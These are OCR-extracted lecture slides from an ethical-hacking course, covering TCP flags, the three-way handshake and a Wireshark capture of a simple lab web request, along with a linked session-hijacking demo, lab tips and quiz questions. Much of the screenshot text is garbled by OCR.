The Acknowledgment Number contains the next
sequence number that the sender of the
acknowledgment expects to receive.

These numbers are used to insure that the data sent has been
received and is in the correct order.
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TCP Flags

CWR. Congestion Window Reduced (the sender reduced its sending rate)
ECE. ECN Echo (the sender received an earlier congestion notification)
URG. Urgent (the Urgent Pointerfieldis valid; rarely used

ACK. Acknowledgment (the Acknowledgment Numberfield is valid; always on
after a connectionis established);

PSH. Push (the receiver should pass this data to the applicationas soon as possible
not reliably implemented or used)

RST. Reset the connection (connection abort, usually because of an error)
SYN. Synchronize sequence numbers to initiate a connection

FIN. The sender of the segment is finished sending data to its peer

https://notes.shichao.io/tcpvl/ch13 95
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Active Opener

TCP Flow Diagram

(Client) (Server)

/‘

Connection Set-Up
(Three-Way Handshake)

Data Transfer
(Established)

NN

(Modified Three-Way

Connection Close _<
Handshake)

ACK = 1SN(e) + 1 (options)

P ACK, Seq = ISN(s)

Passive Opener

ISN=Initial Sequence Number

TCP Flags
SYN
Synchronize (sequence numbers)

ACK
Acknowledge

FIN
Finish (terminate) connection
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Example: Browsing simple web page

EH-Kali-05

Applications « Places v @ Firefox ESR v Sun 16:02

CIS 76 - Mozilla Firefox
CIS 76

i’ 172.30.10.160 @ ||Q Search w8 @ & #

{5 Most Visited v JllOffensive Security "\ Kali Linux “ Kali Docs “§ Kali Tools EBExploit-DB Y Aircrack-ng

CIS 76

Hacking without permission is a crime!
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Example: Browsing simple web page

client web server
EH-Kali-05 |=— =/ | EH-Centos
10.76.5.150 | 172.30.10.160
.\
/- SYN, Seq = ISN(c), (Options -
_ ISN=Initial Sequence Number
K = I1sN(e) + 1. (options)
Connection Set-Up . ACK, Seq = ISN(S). AC
(Three-Way Handshake) e—SYN :
——ACK, Seq = TCP Flags
TR ISN@) + 1. Ack = iy SYN ?
\_ S)*1, (options _
Data Transfer CIS 76 Synchronize (sequence numbers)
(Establlshed) Hacking without permission is a crime!
FINsack SC ACK
ACK=L, (options Acknowledge
25 1, (options
Connection Close L —ACK Seq = L. ACK=K* FIN
(Modified Three-Way '< - 1, (options P : :
Handshake) 1+ ACK, Sea = L ACK K+ Finish (terminate) connection
ACK' Seq =K ACK =
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*eth0 e ® 0

Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

BAe BORE Q2 ¢ Q2

¢ a display filter ... <Ctrl-/> ~| Expression..  +
No. Time Source Destination Protocol Length Info
= 1 0.000000000 10.76.5.150 172.30.10. 160 TER 74 47944 - 80 [SYN] Seq=0 Win=29200 Len=0 M55=1460 ..
2 0.000784801 172.30.10. 160 10,765,158 TCP 74 80 -~ 47944 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=..
3 0,000816504 10.76.5, 150 172.30.10, 160 TCcP 66 47944 — 80 [ACK] Seg=1 Ack=1 Win=29312 Len=0 TSv..
4 0,000926757 10.76.5.150 172.30.10. 160 HTTF 349 GET / HTTR/1.1
50.00130236 172.30.10. 160 10.76.5. 158 TCP 80 — 47944 [ACK]
| 60,001 )2 172.30. 10, 160 10 5,150 90 HTTP/1.1 200
7 0.001683961 10.76.5.150 172.30.10. 160 TCF 66 47944 — 80 [ACK]
8 0.001697476 172.30.10. 160 107 E 5150 TCP 66 80 - 47944 [FIN, ACK] Seq=425 Ack=284 Win=15616 ..
9 0,001811327 10.76.5,150 172.30.10, 160 TCP 66 47944 — 80 [FIN, ACK] Seq=284 Ack=426 Win=30336 ..
L 10 0,002089264 172.30.10, 160 10,78, 5,158 TCP 66 80 — 47944 [ACK] Seq=426 Ack=285 Win=15616 Len=0.,

Frame 6: 490 bytes on wire (3920 bits), 490 bytes captured (2920 bits) on interface ©

Ethernet II, Src: VWmware_af:f2:c3 (00:50:56:af:f2:c3), Dst: Vmware_af:e6:bd (00:50:56:af:ef:bd)
Internet Protocol Version 4, Src: 172,.3@,10,160, Dst: 10,76.5.150

Transmission Control Protocol, Src Port: 80 (80), Dst Port: 47944 (47944), Seq: 1, Ack: 284, Len: 424
Hypertext Transfer Protocol

Line-based text data:

vy vywyvwvyy

ges: byt es..Cont s
ent-Leng th: 156,
.Connect ion: clo
se. . ent-Type ; "
tml; cha ) CIs 76 x | &
- 2 L e . 172.30.10.160
A 2€ 28 3c S e ) : e
69 74 B 65 3e 43 49 32 74 &g [ Most Visited v fllOffensive Security e Kali Linux S
6c 65 2e Oa 20 3c 2f 6B 6 20 3c
6f 64 79 Ze 023 20 20 3c 6 7 53 20
36 3c 2f 68 31 3e Da 20 2 = 61 B3 CIS 76
689 Ge B7 20 V7 69 T4 GB 6 el 65 72
69 73 73 69 6f 6e 20 69 73 20 20 72 69 Hacking without permission is a crime!
65 36 70 3e Pa 20 3c 2f 62 6T 64 79 3¢
3c 68 6d 6c 3 0a 0

v

© ¥ Line-based text data (data-text-lines), 156 bytes Packets: 10 - Displayed: 10 (100.0%) Profile: Default
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egst. 1659 N

Example: Browsing simple web page

5

j-" CIS 76 x| #

User Enters URL in browser

& (/1723010160 c |

Open a connection with a three-way handshake

1 0,000000000 10,76.5,150 172,30, 10, 160 TGP 74 47944 - 80 [SYN] Seq=0 W1n=29200 Len=0 NSS=1460 .
2 0.000784801 172,30, 10, 160 10.76.5. 150 TCP 74 80 - 47944 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=
3 0.000816504 10.76.5.150 172,30.10.160 TCP 66 47944 - 80 [ACK] Seg=1 Ack=1 Win=29312 Len=0 TSv.

GET / HTTP/1.1
Host: 172.30.10.160
User-Agent: Mozilla/5.0 (¥A1; Linux x86_64; rv:45.0) Gecko/20100101

Client requests web page ‘/\Ww
4 0,000926757 BN 172,30, 10, 160 HTTP 349 GET / HTTR/1.1 Accept: text/htnl,application/xhtmltxml,application/ynl;q=0.9,"/*;q=0.8

5 0.001302365 172.30.10. 160 10.76.5.150 TCP 66 80 - 47944 [ACK] Seq=1 Ack=284 Win=15616 Len=0 T, |ACCEpt-Language: en-US,en;ge0.§
Accept-Encoding: gaip, deflate

Connection: keep-alive

HTTP/1.1 200 OK

Date: Sun, 11 Sep 2016 22:42:25 GMT
Server Sends Web page A/—\s:rier:u:pache/;?z.ls (Centos)
E 2 y Last-Modified: Fri, 02 Sep 2016 19:20:24 GMT
60001672202  172.30.10.160  10.76.5.150 HTTP 490 HTTP/1.1 200 0K (text/htnl) ETag: "22044-0c-5308b38e1040a"
70.001683961  10.76.5.150 172.30.10.160 TCP 66 47944 - 80 [ACK] Seq=284 Ack=425 Win=30336 Len=0,  [qcrirs iovcen: 166

Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

Close the connection “hean>
80001697476  172,30.10,160  10.76.5.150 TeP 6680 ~ 47944 [FIN, ACK] Seq=425 Ack=284 Win=15616 .. | racie ¢S 7ov/mitle>
90.001811327 10,765,150  172,30.10.160 TCP 66 47944 = 80 [FIN, ACK] Seq=284 Ack=26 Win=30336 ., | <body>
10 0,002089264  172.30.10.160  10.76.5.150 TcP 66 80 ~ 47944 [ACK] Seq=426 Ack=285 Win=15616 Len=6.. | <pshacking without permission is a crinei</p>
r
CIS 76 100

User views web page

Hacking without permission is a crime!




File Edt View G
A4 = @®
‘N tcp.stream eq 0

No. Time

. 0000000
00078434

o]

g

0.0008165(¢
0. DOR9267E
0.00130234
0. 00167234
9]
o]
o]
o]

00168394

9 00 - O S W M

» Frame 4: 349 byte
» Ethernet II, Src:
» Internet FProtoco

00 50 58 af
01 4f 08 66
0a ab bbh 48
00 e5 c7 el
9bh 79 47 45
od 0a 48 6f
30 2e 21 36
74 3a 20 4d
58 31 321 3b
34 3b 20 72
6f 2f 32 30
6f 78 2f 34
20 74 65 78
63 61 74 &9
2c 61 70 VO
3b 71 3d 30
0d 0a 41 63

@™ wireshark_pcé

O I O O ] G Gl ] M O L) ] O O O e —h

CIS 76 - Lesson 3

Wireshark = Sun 16:07

Wireshark - Follow TCP Stream (tcp.stream eq 0) - wireshark_pcapng_eth0_2016091.. @ & & — T

GET / HTTPA1.1

Host: 172 3010 160

User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0 i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

~| Expression.. +

POZ00 Len=0 MES=1460 .,
Ack=1 Win=14480 Len=.

HTTP/1.1 200 0K |l Win=29312 Len=0 TSw.

Date: Sun, 11 Sep 2016 22:42:25 GMT

Server; Apache/2.2.15 (Cent0s)
Last-Modified: Fri, 02 Sep 2016 19:20:24 GMT
ETag: "22044-9c-53bh8b38e1949a"
Accept-Ranges: bytes

Content-Length: 156

Connection: close

Content-Type: text/html; charset=UTF-8

PB4 Win=15616 Len=0 T..

£=425 Win=30336 Len=0..
PS5 Ack=284 Win=15616 ..
84 Ack=426 Win=30336 ..
=285 Win=15616 Len=0..

<IDOCTYPE html=
<html=
<head=
<title>CIS 76</title> ]
</head=
<hody=
<h1=CIS 76</hil=>
<p=Hacking without permission 1s a crime!</p=
</body=>
</html=

1 client pkt(s), 1 server pkt(s), 1 turn.

|Entire conversation (707 bytes) v| Show data as | ASCII vi Stream 0 | '

Find: | || Find Next
' Help ' |Hide this stream | | Print | | Save as... | | Close | =

=

1 (0.0%)  Profile: Default

101
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Wireshark: Statistic > Flow Diagram view

Wireshark - Flow - wireshark_pcapng_eth0_20160911154720_CMbwvW @ ® 0

10.76.5.150
172.30.10.160

0.000000000 47qqq #7944 B0[SYN] ot o TCP: 47944 + 80 [SYN] Seq=0 Win=29200 Len=0 M55=1..
0.000784801 4794q S0247944[SYN, .0 o0 TCP: B0 - 47944 [SYN, ACK] Seq=0 Ack=1 Win=14480 Le...
0.000816504 47944 2794480 [ACK 80 e TCP: 47944 + 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 ..

fox/:

‘/ﬁc’:g:- CBXE/mtnL application/dh talexaL AppLLCALLON/XRL;4=8;9,/;020;8 S

< -US,en;q=0.5 .

80 ccept-Encasing, gzip deriate HTTP: GET f HTTF/L.1

0.000926757 47042 o
0.001302365 4704 WP 247944 [ACK] ... o0 TCP: 80 + 47944 [ACK] Seq=1{Ack=284)Win=15616 Len=...

0.001672302 47045 HITPLI2000K i o
0.001683961 4704s 47944 + 80 [ACK] . i \ ;

0.001697476 47044 S 247944FINA. 0

GET FHTTR/L1

2,2.15 (Cent0s)
Fri, 02 Sep 2016 19:20:24 GNT
8b38419408"

HTTP: HTTP/1.1 200 OK (text/html)
o / TCP: 47944 + 80 [ACK] Seq=284 [Ack=425 JVin=30336 Le...

TCP: 80 + 47944 [FIN, ACK] 5eq=425 Ack=284 Win=1561..

0.001811327 47g4q 479445 B0[FIN.AL o TCP: 47944 > 80 [FIN, ACK] Seq=284 Ack=426 Win=3033..
0.002089264 g7q4q 8P >4T944[ACK] .\ o TCP: 80 + 47944 [ACK] Seq=426 Ack=285 Win=15616 Le...
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Cloudshark: Analysis Tools > Ladder Diagrams

10.76.5.150 https://www.cloudshark.or 172.30.10.160

47942 — 80 [SYN] Seg=0 Win=29200 Len=0 MS5=1460 SACK_PERM=1 TSval=5062780 TSecr=0 WS=128
0.000000000 >

BD:r 47942 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=0 M55=1460 SACK_PERM=1 TSval=91846739 TS5ecr=5062780 WS5=128

0.000739625

47942 — B0 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=5062780 TSecr=91846739

0.000720841 P
GET/HTTE/M 1 fﬁg’zs’:"ﬁ"s 0 (X11; Linux ¥85_64; rv:45.6) Gecko/20100101
0.000900818 Accept:L;i;:;;:mxenrué‘,enré=0 ;nmpxml pplication/xml;q=0.9,%/*;q=0.8 —h
80 — 47942 [ACK] Seqg=1 ﬁck:ZBf—l '/'u'in:15616 Len=0 TSval=91846740 TSecr=5062780
0.001219094 <] [ 15eq
HTTP/1.1 200 OK (text/html)
0.001577184 <]
47942 — 80 [ACK] Seq=284 |Ack=425Win=30336 Len=0 TSval=5062780 TSecr=91846740
0.001589461 >
80 — 47942 [FIN, ACK] Seq=425 Ack=284 Win=15616 Len=0 TSval=91846740 TSecr=5062780
0.001649560 .
47942 — 80 [FIN, ACK] Seq=284 Ack=426 Win=30336 Len=0 TSval=5062780 TSecr=91846740
0.001731413
80 — 47942 [ACK] Seq=426 Ack=285 Win=15616 Len=0 TSval=91846741 TSecr=5062780 103

F 3

0.002020094


https://www.cloudshark.org/
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Session
Hijacking
Example
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Live demo

https://simms-

teach.com/docs/cis76/cis76-Telnet-
Session-Hijack.pdf

105
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/ k Rich's Cabrillo College ClE X '-._\

€« - C' @ nhttps;//simms-teach.com/cis76calendar.php ad

Netlab+ link
on left panel

Rich's Cabrillo College CIS Classes
CIS 76 Calendar

- o X

CIS 76 (Fall 2016 /[ nerias professional £ x

Course Home Gradl € ~ C' https://security2.bayict.cabrillo.edu/index.cgi

BACC

BAY AREA

COMMUNITY COLLEGE CONSORTIUM

aQay =

Topics covered below

NETLAB+"

Lesson Date

In]
—
3]
[~
=]

Im]
—
L1
el
(=1

Previous Terms

Cabrillo College

RIP Dennis Ritchie

POWERED BY

NETLAB+

Web Advisor
Commands and Files 1 8/30 BACCC NETLAB Security System 2
Username
VLab (classic simben76 NETLAB+® provides remote access to lab equipment and
Lab (web curriculum. To access, you need a user ID and password,
r Password assigned by your instructor or local system administrator.
|NETLAB+ /—\_/v
| Personal firewall software can interfere with this
Login application. If you experience login or port test failures, please
CIS 76 Vlab Pod — disable your firewall software to determine if this is causing
Assignments the problem.
Forgot Password?
Browser security settings can interfere with required
CIS 90 VLab VM features. It is recommended that you add the IP address (or
Assignments host name) of this site to your brower's trusted site list. This

application uses Java™, JavaScript, Cookies, Popup Windows,
and IFRAMES. Please adjust your browser settings
accordingly.

| System ‘ Web Browser ‘ Version Status
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Lab Assignments

Pearls of Wisdom:
 Don't wait till the last minute to start.
» The slower you go the sooner you will be finished.

* A few minutes reading the forum can save you hour(s).

» Line up materials, references, equipment, and software ahead of time.

« It's best if you fully understand each step as you do it. Refer back to
lesson slides to understand the commands you are using.

» Use Google for trouble-shooting and looking up supplemental info.

== ‘ » Keep a growing cheat sheet of commands and examples.

» Study groups are very productive and beneficial.

» Use the forum to collaborate, ask questions, get clarifications, and
share tips you learned while doing a lab.

» Plan for things to go wrong and give yourself time to ask questions and
get answers.

« Late work is not accepted so submit what you have for partial credit.
108
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Next Class

Assignment: Check the Calendar Page on the web site
to see what is due next week. P

©
\_aba?\ F) ‘—Ne %

Quiz questions for next class:

« What command on your Kali VM lets you generate
wordlists by scraping websites?

« What type of currency do victims of ransomware have to
pay to get their files back?

« When a three-way hand-shake is used to create a
connection, which TCP flags are used?

110
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Backup
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